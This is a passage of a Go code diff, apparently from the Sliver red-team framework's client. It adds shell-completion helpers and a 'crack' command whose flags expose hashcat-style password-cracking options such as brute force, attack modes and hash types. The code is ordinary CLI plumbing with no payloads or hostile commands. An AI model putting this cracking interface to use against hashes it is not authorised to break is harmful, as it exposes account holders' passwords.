return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
if con == nil || con.Rpc == nil {
|
||||
return carapace.ActionMessage("not connected")
|
||||
}
|
||||
|
||||
values, err := certificateCommonNameValues(con)
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to list certificates %s", err)
|
||||
}
|
||||
if len(values) == 0 {
|
||||
return carapace.ActionMessage("no certificates")
|
||||
}
|
||||
|
||||
return carapace.ActionValues(values...).Tag("common name").Usage("certificate common name")
|
||||
})
|
||||
}
|
||||
|
||||
func registerCertificateCNFlagCompletion(cmd *cobra.Command, name string, con *console.SliverClient) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
|
||||
return
|
||||
}
|
||||
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
|
||||
return
|
||||
}
|
||||
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, toComplete string) ([]string, cobra.ShellCompDirective) {
|
||||
values, err := certificateCommonNameValues(con)
|
||||
if err != nil {
|
||||
return nil, cobra.ShellCompDirectiveNoFileComp
|
||||
}
|
||||
return filterCompletionValues(values, toComplete), cobra.ShellCompDirectiveNoFileComp
|
||||
})
|
||||
}
|
||||
|
||||
func certificateCommonNameValues(con *console.SliverClient) ([]string, error) {
|
||||
if con == nil || con.Rpc == nil {
|
||||
return nil, nil
|
||||
}
|
||||
certInfo, err := con.Rpc.GetCertificateInfo(context.Background(), &clientpb.CertificatesReq{
|
||||
CategoryFilters: AllTransports | AllRoles,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
unique := map[string]struct{}{}
|
||||
for _, cert := range certInfo.Info {
|
||||
if cert.CN == "" {
|
||||
continue
|
||||
}
|
||||
unique[cert.CN] = struct{}{}
|
||||
}
|
||||
|
||||
values := make([]string, 0, len(unique))
|
||||
for name := range unique {
|
||||
values = append(values, name)
|
||||
}
|
||||
sort.Strings(values)
|
||||
return values, nil
|
||||
}
|
||||
|
||||
func filterCompletionValues(values []string, prefix string) []string {
|
||||
if prefix == "" {
|
||||
return values
|
||||
}
|
||||
|
||||
filtered := make([]string, 0, len(values))
|
||||
for _, value := range values {
|
||||
candidate := value
|
||||
if tab := strings.IndexByte(value, '\t'); tab >= 0 {
|
||||
candidate = value[:tab]
|
||||
}
|
||||
if strings.HasPrefix(candidate, prefix) {
|
||||
filtered = append(filtered, value)
|
||||
}
|
||||
}
|
||||
|
||||
return filtered
|
||||
}
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"net"
|
||||
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// ClientInterfacesCompleter completes interface addresses on the client host.
|
||||
@@ -84,3 +85,60 @@ func LocalProxyCompleter() carapace.Action {
|
||||
}).Invoke(c).Prefix(prefix).ToA()
|
||||
})
|
||||
}
|
||||
|
||||
// LocalFilePathCompleter completes local file and directory paths.
|
||||
func LocalFilePathCompleter() carapace.Action {
|
||||
return carapace.ActionFiles().Tag("local file path")
|
||||
}
|
||||
|
||||
// RegisterLocalFilePathFlagCompletion registers local file-path completion for a flag.
|
||||
func RegisterLocalFilePathFlagCompletion(cmd *cobra.Command, name string) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
|
||||
return
|
||||
}
|
||||
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
|
||||
return
|
||||
}
|
||||
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, _ string) ([]string, cobra.ShellCompDirective) {
|
||||
return nil, cobra.ShellCompDirectiveDefault
|
||||
})
|
||||
}
|
||||
|
||||
// RegisterLocalFilePathFlagCompletions registers local file-path completion for a list of flags.
|
||||
func RegisterLocalFilePathFlagCompletions(cmd *cobra.Command, names ...string) {
|
||||
for _, name := range names {
|
||||
RegisterLocalFilePathFlagCompletion(cmd, name)
|
||||
}
|
||||
}
|
||||
|
||||
// RegisterLocalFilePathPositionalCompletion registers local file-path completion for a positional argument index.
|
||||
func RegisterLocalFilePathPositionalCompletion(cmd *cobra.Command, index int) {
|
||||
if cmd == nil || index < 0 {
|
||||
return
|
||||
}
|
||||
if cmd.ValidArgsFunction != nil {
|
||||
return
|
||||
}
|
||||
cmd.ValidArgsFunction = func(_ *cobra.Command, args []string, _ string) ([]string, cobra.ShellCompDirective) {
|
||||
if len(args) == index {
|
||||
return nil, cobra.ShellCompDirectiveDefault
|
||||
}
|
||||
return nil, cobra.ShellCompDirectiveNoFileComp
|
||||
}
|
||||
}
|
||||
|
||||
// RegisterLocalFilePathPositionalAnyCompletion registers local file-path completion for all positional arguments.
|
||||
func RegisterLocalFilePathPositionalAnyCompletion(cmd *cobra.Command) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
if cmd.ValidArgsFunction != nil {
|
||||
return
|
||||
}
|
||||
cmd.ValidArgsFunction = func(_ *cobra.Command, _ []string, _ string) ([]string, cobra.ShellCompDirective) {
|
||||
return nil, cobra.ShellCompDirectiveDefault
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
@@ -24,6 +25,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
flags.Bind("", true, crackCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
bindCrackFlags(f)
|
||||
})
|
||||
|
||||
crackStationsCmd := &cobra.Command{
|
||||
@@ -34,6 +36,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
CrackStationsCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, crackStationsCmd, func(f *pflag.FlagSet) {
|
||||
f.Bool("show-benchmarks", false, "show benchmark rates for crackstations")
|
||||
})
|
||||
crackCmd.AddCommand(crackStationsCmd)
|
||||
|
||||
wordlistsCmd := &cobra.Command{
|
||||
@@ -57,6 +62,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("name", "n", "", "wordlist name (blank = filename)")
|
||||
})
|
||||
carapace.Gen(wordlistsAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local wordlist file"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(wordlistsAddCmd, 0)
|
||||
wordlistsCmd.AddCommand(wordlistsAddCmd)
|
||||
|
||||
wordlistsRmCmd := &cobra.Command{
|
||||
@@ -91,6 +97,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("name", "n", "", "rules name (blank = filename)")
|
||||
})
|
||||
carapace.Gen(rulesAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local rules file"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(rulesAddCmd, 0)
|
||||
rulesCmd.AddCommand(rulesAddCmd)
|
||||
|
||||
rulesRmCmd := &cobra.Command{
|
||||
@@ -126,6 +133,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("name", "n", "", "hcstat2 name (blank = filename)")
|
||||
})
|
||||
carapace.Gen(hcstat2AddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local hcstat2 file"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(hcstat2AddCmd, 0)
|
||||
hcstat2Cmd.AddCommand(hcstat2AddCmd)
|
||||
|
||||
hcstat2RmCmd := &cobra.Command{
|
||||
|
||||
@@ -0,0 +1,326 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
func shouldRunCrack(cmd *cobra.Command, args []string) bool {
|
||||
if len(args) > 0 {
|
||||
return true
|
||||
}
|
||||
|
||||
hasFlag := false
|
||||
cmd.Flags().VisitAll(func(flag *pflag.Flag) {
|
||||
if flag.Changed && flag.Name != "timeout" {
|
||||
hasFlag = true
|
||||
}
|
||||
})
|
||||
return hasFlag
|
||||
}
|
||||
|
||||
func buildCrackCommand(cmd *cobra.Command, args []string) (*clientpb.CrackCommand, error) {
|
||||
flags := cmd.Flags()
|
||||
req := &clientpb.CrackCommand{}
|
||||
|
||||
if flags.Changed("attack-mode") {
|
||||
raw, _ := flags.GetString("attack-mode")
|
||||
attackMode, err := parseCrackAttackMode(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.AttackMode = attackMode
|
||||
}
|
||||
|
||||
if flags.Changed("hash-type") {
|
||||
raw, _ := flags.GetString("hash-type")
|
||||
hashType, err := parseHashType(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.HashType = hashType
|
||||
}
|
||||
|
||||
hashes, _ := flags.GetStringSlice("hash")
|
||||
if len(args) > 0 {
|
||||
hashes = append(hashes, args...)
|
||||
}
|
||||
req.Hashes = hashes
|
||||
|
||||
req.Quiet, _ = flags.GetBool("quiet")
|
||||
req.HexCharset, _ = flags.GetBool("hex-charset")
|
||||
req.HexSalt, _ = flags.GetBool("hex-salt")
|
||||
req.HexWordlist, _ = flags.GetBool("hex-wordlist")
|
||||
req.Force, _ = flags.GetBool("force")
|
||||
req.DeprecatedCheckDisable, _ = flags.GetBool("deprecated-check-disable")
|
||||
req.Status, _ = flags.GetBool("status")
|
||||
req.StatusJSON, _ = flags.GetBool("status-json")
|
||||
req.StatusTimer, _ = flags.GetUint32("status-timer")
|
||||
req.StdinTimeoutAbort, _ = flags.GetUint32("stdin-timeout-abort")
|
||||
req.MachineReadable, _ = flags.GetBool("machine-readable")
|
||||
req.KeepGuessing, _ = flags.GetBool("keep-guessing")
|
||||
req.SelfTestDisable, _ = flags.GetBool("self-test-disable")
|
||||
req.Loopback, _ = flags.GetBool("loopback")
|
||||
|
||||
if raw, _ := flags.GetString("markov-hcstat2"); raw != "" {
|
||||
req.MarkovHcstat2 = []byte(raw)
|
||||
}
|
||||
req.MarkovDisable, _ = flags.GetBool("markov-disable")
|
||||
req.MarkovClassic, _ = flags.GetBool("markov-classic")
|
||||
req.MarkovInverse, _ = flags.GetBool("markov-inverse")
|
||||
req.MarkovThreshold, _ = flags.GetUint32("markov-threshold")
|
||||
req.Runtime, _ = flags.GetUint32("runtime")
|
||||
req.Session, _ = flags.GetString("session")
|
||||
req.Restore, _ = flags.GetBool("restore")
|
||||
req.RestoreDisable, _ = flags.GetBool("restore-disable")
|
||||
if raw, _ := flags.GetString("restore-file"); raw != "" {
|
||||
req.RestoreFile = []byte(raw)
|
||||
}
|
||||
|
||||
if formats, _ := flags.GetStringSlice("outfile-format"); len(formats) > 0 {
|
||||
for _, raw := range formats {
|
||||
format, err := parseCrackOutfileFormat(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.OutfileFormat = append(req.OutfileFormat, format)
|
||||
}
|
||||
}
|
||||
req.OutfileAutohexDisable, _ = flags.GetBool("outfile-autohex-disable")
|
||||
req.OutfileCheckTimer, _ = flags.GetUint32("outfile-check-timer")
|
||||
req.WordlistAutohexDisable, _ = flags.GetBool("wordlist-autohex-disable")
|
||||
req.Separator, _ = flags.GetString("separator")
|
||||
req.Stdout, _ = flags.GetBool("stdout")
|
||||
req.Show, _ = flags.GetBool("show")
|
||||
req.Left, _ = flags.GetBool("left")
|
||||
req.Username, _ = flags.GetBool("username")
|
||||
req.Remove, _ = flags.GetBool("remove")
|
||||
req.RemoveTimer, _ = flags.GetUint32("remove-timer")
|
||||
req.PotfileDisable, _ = flags.GetBool("potfile-disable")
|
||||
if raw, _ := flags.GetString("potfile"); raw != "" {
|
||||
req.Potfile = []byte(raw)
|
||||
}
|
||||
|
||||
if flags.Changed("encoding-from") {
|
||||
raw, _ := flags.GetString("encoding-from")
|
||||
enc, err := parseCrackEncoding(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.EncodingFrom = enc
|
||||
}
|
||||
if flags.Changed("encoding-to") {
|
||||
raw, _ := flags.GetString("encoding-to")
|
||||
enc, err := parseCrackEncoding(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.EncodingTo = enc
|
||||
}
|
||||
|
||||
req.DebugMode, _ = flags.GetUint32("debug-mode")
|
||||
req.LogfileDisable, _ = flags.GetBool("logfile-disable")
|
||||
req.HccapxMessagePair, _ = flags.GetUint32("hccapx-message-pair")
|
||||
req.NonceErrorCorrections, _ = flags.GetUint32("nonce-error-corrections")
|
||||
if raw, _ := flags.GetString("keyboard-layout-mapping"); raw != "" {
|
||||
req.KeyboardLayoutMapping = []byte(raw)
|
||||
}
|
||||
|
||||
req.Benchmark, _ = flags.GetBool("benchmark")
|
||||
req.BenchmarkAll, _ = flags.GetBool("benchmark-all")
|
||||
req.SpeedOnly, _ = flags.GetBool("speed-only")
|
||||
req.ProgressOnly, _ = flags.GetBool("progress-only")
|
||||
req.SegmentSize, _ = flags.GetUint32("segment-size")
|
||||
req.BitmapMin, _ = flags.GetUint32("bitmap-min")
|
||||
req.BitmapMax, _ = flags.GetUint32("bitmap-max")
|
||||
req.CPUAffinity = uintSliceToUint32(flags, "cpu-affinity")
|
||||
req.HookThreads, _ = flags.GetUint32("hook-threads")
|
||||
req.HashInfo, _ = flags.GetBool("hash-info")
|
||||
req.BackendIgnoreCUDA, _ = flags.GetBool("backend-ignore-cuda")
|
||||
req.BackendIgnoreHip, _ = flags.GetBool("backend-ignore-hip")
|
||||
req.BackendIgnoreMetal, _ = flags.GetBool("backend-ignore-metal")
|
||||
req.BackendIgnoreOpenCL, _ = flags.GetBool("backend-ignore-opencl")
|
||||
req.BackendInfo, _ = flags.GetBool("backend-info")
|
||||
req.BackendDevices = uintSliceToUint32(flags, "backend-devices")
|
||||
req.OpenCLDeviceTypes = uintSliceToUint32(flags, "opencl-device-types")
|
||||
req.OptimizedKernelEnable, _ = flags.GetBool("optimized-kernel-enable")
|
||||
req.MultiplyAccelDisabled, _ = flags.GetBool("multiply-accel-disabled")
|
||||
|
||||
if flags.Changed("workload-profile") {
|
||||
raw, _ := flags.GetString("workload-profile")
|
||||
profile, err := parseCrackWorkloadProfile(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.WorkloadProfile = profile
|
||||
}
|
||||
|
||||
req.KernelAccel, _ = flags.GetUint32("kernel-accel")
|
||||
req.KernelLoops, _ = flags.GetUint32("kernel-loops")
|
||||
req.KernelThreads, _ = flags.GetUint32("kernel-threads")
|
||||
req.BackendVectorWidth, _ = flags.GetUint32("backend-vector-width")
|
||||
req.SpinDamp, _ = flags.GetUint32("spin-damp")
|
||||
req.HwmonDisable, _ = flags.GetBool("hwmon-disable")
|
||||
req.HwmonTempAbort, _ = flags.GetUint32("hwmon-temp-abort")
|
||||
req.ScryptTMTO, _ = flags.GetUint32("scrypt-tmto")
|
||||
req.Skip, _ = flags.GetUint64("skip")
|
||||
req.Limit, _ = flags.GetUint64("limit")
|
||||
req.Keyspace, _ = flags.GetBool("keyspace")
|
||||
|
||||
if raw, _ := flags.GetString("rules-file"); raw != "" {
|
||||
req.RulesFile = []byte(raw)
|
||||
}
|
||||
req.GenerateRules, _ = flags.GetUint32("generate-rules")
|
||||
req.GenerateRulesFunMin, _ = flags.GetUint32("generate-rules-fun-min")
|
||||
req.GenerateRulesFunMax, _ = flags.GetUint32("generate-rules-fun-max")
|
||||
req.GenerateRulesFuncSel, _ = flags.GetString("generate-rules-func-sel")
|
||||
req.GenerateRulesSeed, _ = flags.GetInt32("generate-rules-seed")
|
||||
req.CustomCharset1, _ = flags.GetString("custom-charset1")
|
||||
req.CustomCharset2, _ = flags.GetString("custom-charset2")
|
||||
req.CustomCharset3, _ = flags.GetString("custom-charset3")
|
||||
req.CustomCharset4, _ = flags.GetString("custom-charset4")
|
||||
req.Identify, _ = flags.GetString("identify")
|
||||
req.Increment, _ = flags.GetBool("increment")
|
||||
req.IncrementMin, _ = flags.GetUint32("increment-min")
|
||||
req.IncrementMax, _ = flags.GetUint32("increment-max")
|
||||
req.SlowCandidates, _ = flags.GetBool("slow-candidates")
|
||||
req.BrainServer, _ = flags.GetBool("brain-server")
|
||||
req.BrainServerTimer, _ = flags.GetUint32("brain-server-timer")
|
||||
req.BrainClient, _ = flags.GetBool("brain-client")
|
||||
req.BrainClientFeatures, _ = flags.GetString("brain-client-features")
|
||||
req.BrainHost, _ = flags.GetString("brain-host")
|
||||
req.BrainPort, _ = flags.GetUint32("brain-port")
|
||||
req.BrainPassword, _ = flags.GetString("brain-password")
|
||||
req.BrainSession, _ = flags.GetString("brain-session")
|
||||
req.BrainSessionWhitelist, _ = flags.GetString("brain-session-whitelist")
|
||||
|
||||
return req, nil
|
||||
}
|
||||
|
||||
func uintSliceToUint32(flags *pflag.FlagSet, name string) []uint32 {
|
||||
values, _ := flags.GetUintSlice(name)
|
||||
if len(values) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]uint32, len(values))
|
||||
for i, value := range values {
|
||||
out[i] = uint32(value)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func parseCrackAttackMode(raw string) (clientpb.CrackAttackMode, error) {
|
||||
if raw == "" {
|
||||
return clientpb.CrackAttackMode_STRAIGHT, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.CrackAttackMode(numeric), nil
|
||||
}
|
||||
|
||||
normalized := strings.ToLower(strings.TrimSpace(raw))
|
||||
normalized = strings.NewReplacer("-", "_", " ", "_").Replace(normalized)
|
||||
switch normalized {
|
||||
case "straight":
|
||||
return clientpb.CrackAttackMode_STRAIGHT, nil
|
||||
case "combination":
|
||||
return clientpb.CrackAttackMode_COMBINATION, nil
|
||||
case "bruteforce", "brute_force", "brute-force":
|
||||
return clientpb.CrackAttackMode_BRUTEFORCE, nil
|
||||
case "hybrid_wordlist_mask":
|
||||
return clientpb.CrackAttackMode_HYBRID_WORDLIST_MASK, nil
|
||||
case "hybrid_mask_wordlist":
|
||||
return clientpb.CrackAttackMode_HYBRID_MASK_WORDLIST, nil
|
||||
case "association":
|
||||
return clientpb.CrackAttackMode_ASSOCIATION, nil
|
||||
case "no_attack", "none":
|
||||
return clientpb.CrackAttackMode_NO_ATTACK, nil
|
||||
default:
|
||||
return clientpb.CrackAttackMode_STRAIGHT, fmt.Errorf("unknown attack mode: %s", raw)
|
||||
}
|
||||
}
|
||||
|
||||
func parseHashType(raw string) (clientpb.HashType, error) {
|
||||
if raw == "" {
|
||||
return clientpb.HashType_MD5, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.HashType(numeric), nil
|
||||
}
|
||||
key := normalizeEnumKey(raw)
|
||||
if value, ok := clientpb.HashType_value[key]; ok {
|
||||
return clientpb.HashType(value), nil
|
||||
}
|
||||
return clientpb.HashType_MD5, fmt.Errorf("unknown hash type: %s", raw)
|
||||
}
|
||||
|
||||
func parseCrackEncoding(raw string) (clientpb.CrackEncoding, error) {
|
||||
if raw == "" {
|
||||
return clientpb.CrackEncoding_INVALID_ENCODING, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.CrackEncoding(numeric), nil
|
||||
}
|
||||
key := normalizeEnumKey(raw)
|
||||
if value, ok := clientpb.CrackEncoding_value[key]; ok {
|
||||
return clientpb.CrackEncoding(value), nil
|
||||
}
|
||||
return clientpb.CrackEncoding_INVALID_ENCODING, fmt.Errorf("unknown encoding: %s", raw)
|
||||
}
|
||||
|
||||
func parseCrackOutfileFormat(raw string) (clientpb.CrackOutfileFormat, error) {
|
||||
if raw == "" {
|
||||
return clientpb.CrackOutfileFormat_INVALID_FORMAT, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.CrackOutfileFormat(numeric), nil
|
||||
}
|
||||
key := normalizeEnumKey(raw)
|
||||
if value, ok := clientpb.CrackOutfileFormat_value[key]; ok {
|
||||
return clientpb.CrackOutfileFormat(value), nil
|
||||
}
|
||||
return clientpb.CrackOutfileFormat_INVALID_FORMAT, fmt.Errorf("unknown outfile format: %s", raw)
|
||||
}
|
||||
|
||||
func parseCrackWorkloadProfile(raw string) (clientpb.CrackWorkloadProfile, error) {
|
||||
if raw == "" {
|
||||
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.CrackWorkloadProfile(numeric), nil
|
||||
}
|
||||
key := normalizeEnumKey(raw)
|
||||
if value, ok := clientpb.CrackWorkloadProfile_value[key]; ok {
|
||||
return clientpb.CrackWorkloadProfile(value), nil
|
||||
}
|
||||
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, fmt.Errorf("unknown workload profile: %s", raw)
|
||||
}
|
||||
|
||||
func normalizeEnumKey(value string) string {
|
||||
if value == "" {
|
||||
return ""
|
||||
}
|
||||
var builder strings.Builder
|
||||
builder.Grow(len(value))
|
||||
underscore := false
|
||||
for i := 0; i < len(value); i++ {
|
||||
ch := value[i]
|
||||
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') {
|
||||
if ch >= 'a' && ch <= 'z' {
|
||||
ch -= 'a' - 'A'
|
||||
}
|
||||
builder.WriteByte(ch)
|
||||
underscore = false
|
||||
continue
|
||||
}
|
||||
if !underscore {
|
||||
builder.WriteByte('_')
|
||||
underscore = true
|
||||
}
|
||||
}
|
||||
return strings.Trim(builder.String(), "_")
|
||||
}
|
||||
@@ -106,17 +106,17 @@ func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverClient)
|
||||
|
||||
func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverClient) {
|
||||
wordlistTable := table.NewWriter()
|
||||
wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal)
|
||||
wordlistTable.SetTitle(console.StyleBold.Render("Wordlists"))
|
||||
wordlistTable.SetStyle(settings.GetTableStyle(con))
|
||||
wordlistTable.AppendHeader(table.Row{"Name", "Size"})
|
||||
|
||||
rulesTable := table.NewWriter()
|
||||
rulesTable.SetTitle(console.Bold + "Rules" + console.Normal)
|
||||
rulesTable.SetTitle(console.StyleBold.Render("Rules"))
|
||||
rulesTable.SetStyle(settings.GetTableStyle(con))
|
||||
rulesTable.AppendHeader(table.Row{"Name", "Size"})
|
||||
|
||||
hcTable := table.NewWriter()
|
||||
hcTable.SetTitle(console.Bold + "Markov Hcstat2" + console.Normal)
|
||||
hcTable.SetTitle(console.StyleBold.Render("Markov Hcstat2"))
|
||||
hcTable.SetStyle(settings.GetTableStyle(con))
|
||||
hcTable.AppendHeader(table.Row{"Name", "Size"})
|
||||
|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
package crack
|
||||
|
||||
import "github.com/spf13/pflag"
|
||||
|
||||
func bindCrackFlags(f *pflag.FlagSet) {
|
||||
f.String("attack-mode", "", "crack attack mode (straight, combination, bruteforce, hybrid-wordlist-mask, hybrid-mask-wordlist, association, no-attack, or numeric)")
|
||||
f.String("hash-type", "", "hashcat hash type (number or enum name)")
|
||||
f.StringSlice("hash", nil, "hashes to crack (repeatable)")
|
||||
f.Bool("quiet", false, "quiet mode")
|
||||
f.Bool("hex-charset", false, "treat charset as hex")
|
||||
f.Bool("hex-salt", false, "treat salt as hex")
|
||||
f.Bool("hex-wordlist", false, "treat wordlist as hex")
|
||||
f.Bool("force", false, "ignore warnings")
|
||||
f.Bool("deprecated-check-disable", false, "disable deprecated check")
|
||||
f.Bool("status", false, "enable status")
|
||||
f.Bool("status-json", false, "emit status in JSON")
|
||||
f.Uint32("status-timer", 0, "status timer interval (seconds)")
|
||||
f.Uint32("stdin-timeout-abort", 0, "abort after stdin timeout (seconds)")
|
||||
f.Bool("machine-readable", false, "machine readable output")
|
||||
f.Bool("keep-guessing", false, "keep guessing")
|
||||
f.Bool("self-test-disable", false, "disable self-test")
|
||||
f.Bool("loopback", false, "use loopback mode")
|
||||
f.String("markov-hcstat2", "", "markov hcstat2 filename or identifier")
|
||||
f.Bool("markov-disable", false, "disable markov mode")
|
||||
f.Bool("markov-classic", false, "use classic markov")
|
||||
f.Bool("markov-inverse", false, "use inverse markov")
|
||||
f.Uint32("markov-threshold", 0, "markov threshold")
|
||||
f.Uint32("runtime", 0, "runtime in seconds")
|
||||
f.String("session", "", "session name")
|
||||
f.Bool("restore", false, "restore session")
|
||||
f.Bool("restore-disable", false, "disable restore")
|
||||
f.String("restore-file", "", "restore file path or identifier")
|
||||
f.StringSlice("outfile-format", nil, "outfile formats (hash-salt, plain, hex-plain, crack-pos, timestamp-absolute, timestamp-relative, or numeric)")
|
||||
f.Bool("outfile-autohex-disable", false, "disable outfile autohex")
|
||||
f.Uint32("outfile-check-timer", 0, "outfile check timer interval (seconds)")
|
||||
f.Bool("wordlist-autohex-disable", false, "disable wordlist autohex")
|
||||
f.String("separator", "", "separator character")
|
||||
f.Bool("stdout", false, "stdout output")
|
||||
f.Bool("show", false, "show cracked hashes")
|
||||
f.Bool("left", false, "show uncracked hashes")
|
||||
f.Bool("username", false, "enable username handling")
|
||||
f.Bool("remove", false, "remove cracked hashes")
|
||||
f.Uint32("remove-timer", 0, "remove timer interval (seconds)")
|
||||
f.Bool("potfile-disable", false, "disable potfile")
|
||||
f.String("potfile", "", "potfile path or identifier")
|
||||
f.String("encoding-from", "", "input encoding (iso-8859-15, utf-32le, or numeric)")
|
||||
f.String("encoding-to", "", "output encoding (iso-8859-15, utf-32le, or numeric)")
|
||||
f.Uint32("debug-mode", 0, "debug mode mask")
|
||||
f.Bool("logfile-disable", false, "disable logfile")
|
||||
f.Uint32("hccapx-message-pair", 0, "hccapx message pair")
|
||||
f.Uint32("nonce-error-corrections", 0, "nonce error corrections")
|
||||
f.String("keyboard-layout-mapping", "", "keyboard layout mapping file or identifier")
|
||||
f.Bool("benchmark", false, "run benchmark")
|
||||
f.Bool("benchmark-all", false, "run full benchmark")
|
||||
f.Bool("speed-only", false, "show speed only")
|
||||
f.Bool("progress-only", false, "show progress only")
|
||||
f.Uint32("segment-size", 0, "segment size")
|
||||
f.Uint32("bitmap-min", 0, "bitmap min")
|
||||
f.Uint32("bitmap-max", 0, "bitmap max")
|
||||
f.UintSlice("cpu-affinity", nil, "CPU affinity list")
|
||||
f.Uint32("hook-threads", 0, "hook threads")
|
||||
f.Bool("hash-info", false, "show hash information")
|
||||
f.Bool("backend-ignore-cuda", false, "ignore CUDA backend")
|
||||
f.Bool("backend-ignore-hip", false, "ignore HIP backend")
|
||||
f.Bool("backend-ignore-metal", false, "ignore Metal backend")
|
||||
f.Bool("backend-ignore-opencl", false, "ignore OpenCL backend")
|
||||
f.Bool("backend-info", false, "show backend info")
|
||||
f.UintSlice("backend-devices", nil, "backend device IDs")
|
||||
f.UintSlice("opencl-device-types", nil, "OpenCL device types")
|
||||
f.Bool("optimized-kernel-enable", false, "enable optimized kernels")
|
||||
f.Bool("multiply-accel-disabled", false, "disable multiply accel")
|
||||
f.String("workload-profile", "", "workload profile (low, default, high, nightmare, or numeric)")
|
||||
f.Uint32("kernel-accel", 0, "kernel acceleration")
|
||||
f.Uint32("kernel-loops", 0, "kernel loops")
|
||||
f.Uint32("kernel-threads", 0, "kernel threads")
|
||||
f.Uint32("backend-vector-width", 0, "backend vector width")
|
||||
f.Uint32("spin-damp", 0, "spin damp")
|
||||
f.Bool("hwmon-disable", false, "disable hardware monitoring")
|
||||
f.Uint32("hwmon-temp-abort", 0, "hardware monitor temperature abort")
|
||||
f.Uint32("scrypt-tmto", 0, "scrypt tmto")
|
||||
f.Uint64("skip", 0, "skip count")
|
||||
f.Uint64("limit", 0, "limit count")
|
||||
f.Bool("keyspace", false, "show keyspace")
|
||||
f.String("rules-file", "", "rules file path or identifier")
|
||||
f.Uint32("generate-rules", 0, "generate rules")
|
||||
f.Uint32("generate-rules-fun-min", 0, "generate rules function min")
|
||||
f.Uint32("generate-rules-fun-max", 0, "generate rules function max")
|
||||
f.String("generate-rules-func-sel", "", "generate rules function selection")
|
||||
f.Int32("generate-rules-seed", 0, "generate rules seed")
|
||||
f.String("custom-charset1", "", "custom charset 1")
|
||||
f.String("custom-charset2", "", "custom charset 2")
|
||||
f.String("custom-charset3", "", "custom charset 3")
|
||||
f.String("custom-charset4", "", "custom charset 4")
|
||||
f.String("identify", "", "identify hash")
|
||||
f.Bool("increment", false, "incremental mode")
|
||||
f.Uint32("increment-min", 0, "increment min")
|
||||
f.Uint32("increment-max", 0, "increment max")
|
||||
f.Bool("slow-candidates", false, "slow candidates")
|
||||
f.Bool("brain-server", false, "brain server mode")
|
||||
f.Uint32("brain-server-timer", 0, "brain server timer")
|
||||
f.Bool("brain-client", false, "brain client mode")
|
||||
f.String("brain-client-features", "", "brain client features")
|
||||
f.String("brain-host", "", "brain host")
|
||||
f.Uint32("brain-port", 0, "brain port")
|
||||
f.String("brain-password", "", "brain password")
|
||||
f.String("brain-session", "", "brain session")
|
||||
f.String("brain-session-whitelist", "", "brain session whitelist")
|
||||
}
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
